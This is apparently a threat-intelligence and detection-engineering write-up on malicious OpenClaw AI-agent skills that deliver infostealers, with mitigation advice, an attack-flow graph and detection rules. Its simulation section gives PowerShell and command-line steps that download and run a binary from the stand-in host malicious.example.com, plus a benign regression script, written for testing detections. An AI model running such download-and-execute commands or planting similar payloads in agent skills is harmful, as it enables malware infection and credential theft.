From Automation to Infection: How OpenClaw AI Agent Skills Are Being Weaponized
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The article explains how malicious OpenClaw skills are being used as a malware delivery mechanism for users of the self-hosted AI agent platform. Threat actors publish skills that appear harmless but ultimately guide victims into downloading and running attacker-controlled binaries from external sources. Observed payloads include Windows executables and macOS Mach-O files that have been identified as variants of the Atomic Stealer infostealer family. This activity introduces a practical supply-chain risk for personal and developer workstations that rely on community-provided skills.
Investigation
VirusTotal Code Insight reviewed more than three thousand OpenClaw skills and surfaced hundreds that exhibited malicious or high-risk behavior. In one example, a skill uploaded by hightower6eu provided step-by-step instructions to download a password-protected ZIP archive from GitHub (password: openclaw) and execute openclaw-agent.exe on Windows. On macOS, the same skill directed users to retrieve a Base64-encoded script from glot.io, which then downloaded a Mach-O executable for execution. The resulting binaries were detected by multiple security engines as trojanized infostealers.
Mitigation
Treat skill repositories as untrusted code and run OpenClaw in a sandboxed or tightly constrained environment. Avoid pasting commands from skill descriptions and do not execute binaries retrieved from unverified external links. For marketplace and community operators, implement publish-time scanning focused on remote download behavior, obfuscated script logic, and indicators of credential theft or data exfiltration. In enterprise settings, educate users on the risks of installing community-built skills and require review before use.
Response
Hunt for OpenClaw skill packages that reference external download URLs, password-protected archives, or encoded command stagers. Alert on execution of unknown binaries named openclaw-agent.exe and on suspicious Mach-O launches that follow scripted download activity. Block connectivity to known malicious domains and isolate impacted systems for forensic triage to confirm whether infostealer execution and credential exposure occurred.
"graph TB %% Class definitions section classDef technique fill:#99ccff classDef malware fill:#ff9999 classDef process fill:#ffcc99 %% Technique nodes tech_software_extensions["<b>Technique</b> – T1176 Software Extensions<br/><b>Description</b>: Adversary publishes malicious extensions or packages to a marketplace to disguise malware as legitimate functionality."] class tech_software_extensions technique tech_user_execution["<b>Technique</b> – T1204.002 User Execution: Malicious File<br/><b>Description</b>: Victim is tricked into executing a malicious file that downloads and runs additional payloads."] class tech_user_execution technique tech_embedded_payloads["<b>Technique</b> – T1027.009 Embedded Payloads<br/><b>Description</b>: Malicious code is hidden within other files or scripts to evade detection."] class tech_embedded_payloads technique tech_polymorphic_code["<b>Technique</b> – T1027.014 Polymorphic Code<br/><b>Description</b>: Code mutates its appearance while retaining functionality to bypass defenses."] class tech_polymorphic_code technique tech_decode["<b>Technique</b> – T1140 Deobfuscate/Decode Files or Information<br/><b>Description</b>: Victim decodes or decrypts obfuscated payloads before execution."] class tech_decode technique tech_content_injection["<b>Technique</b> – T1659 Content Injection<br/><b>Description</b>: Adversary injects malicious content such as download links or scripts into a legitimate workflow."] class tech_content_injection technique %% Malware / payload nodes malware_infostealer["<b>Malware</b> – Infostealer Trojan<br/><b>Description</b>: Collects credentials, browsing history and other sensitive data from the victim system."] class malware_infostealer malware %% Process nodes proc_download_execute["<b>Process</b> – Download and Execute External Binary<br/><b>Description</b>: Commands retrieved from the skill download additional binaries and launch them."] class proc_download_execute process proc_decode_execute["<b>Process</b> – Decode and Execute Payload<br/><b>Description</b>: Base64u2011encoded script is decoded and the resulting trojan is executed."] class proc_decode_execute process %% Connections showing attack flow tech_software_extensions –>|leads_to| tech_user_execution tech_user_execution –>|triggers| proc_download_execute proc_download_execute –>|contains| tech_embedded_payloads proc_download_execute –>|contains| tech_polymorphic_code proc_download_execute –>|enables| tech_decode tech_decode –>|facilitates| proc_decode_execute proc_decode_execute –>|executes| malware_infostealer malware_infostealer –>|enables| tech_content_injection "
Attack Flow
Detections
Possible Base64 Encoded Strings Manipulation [MacOS] (via cmdline)
View
Suspicious Curl Execution Attempt [MacOS] (via cmdline)
View
MacOS Xattr Temp Folder Attributes Were Cleared (via process_creation)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via proxy)
View
Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)
View
IOCs (HashSha256) to detect: From Automation to Infection: How OpenClaw AI Agent Skills Are Being Weaponized
View
Execution of Malicious Payloads via OpenClaw Skills [Linux Process Creation]
View
Detection of Malicious OpenClaw Agent Execution [Windows Process Creation]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An attacker has gained initial access to a victim workstation and drops the malicious binaryopenclaw-agent.exeinto the user’s temporary directory. The binary is executed with a command line that explicitly contains the keywordsdownloadandexecuteto pull additional payloads from an untrusted C2 server and run them in memory. The attacker uses a standard Windows command prompt to avoid PowerShell‑specific detections, thereby matching the Sigma rule’s expectations.- Drop the payload:
$malPath = "$env:TEMPopenclaw-agent.exe" Invoke-WebRequest -Uri "http://malicious.example.com/openclaw-agent.exe" -OutFile $malPath - Execute with suspicious arguments:
"%TEMP%openclaw-agent.exe" download http://malicious.example.com/payload.bin execute - The agent contacts the C2 server, downloads
payload.bin, writes it to disk, and launches it, all while the original process command line still contains the trigger words.
- Drop the payload:
-
Regression Test Script:
# ----------------------------------------------------------------------- # OpenClaw Agent Execution Simulation – triggers Sigma detection # ----------------------------------------------------------------------- # 1. Download the malicious agent (simulated with a harmless file) $agentUrl = "https://github.com/microsoft/PowerShell/releases/download/v7.4.0/powershell-7.4.0-win-x64.msi" # placeholder benign file $agentPath = "$env:TEMPopenclaw-agent.exe" Invoke-WebRequest -Uri $agentUrl -OutFile $agentPath # 2. Execute the agent with the expected command‑line keywords $cmd = "`"$agentPath`" download http://malicious.example.com/payload.bin execute" Write-Host "Executing: $cmd" Start-Process -FilePath $agentPath -ArgumentList "download http://malicious.example.com/payload.bin execute" -NoNewWindow -Wait # 3. Optional: Simulate the payload download (harmless stub) $payloadUrl = "https://raw.githubusercontent.com/EbookFoundation/free-programming-books/master/books/free-programming-books.md" $payloadPath = "$env:TEMPpayload.bin" Invoke-WebRequest -Uri $payloadUrl -OutFile $payloadPath Write-Host "Simulation complete. Check SIEM for detection." -
Cleanup Commands:
# Remove all artifacts created during the simulation $paths = @( "$env:TEMPopenclaw-agent.exe", "$env:TEMPpayload.bin" ) foreach ($p in $paths) { if (Test-Path $p) { Remove-Item -Path $p -Force Write-Host "Deleted $p" } }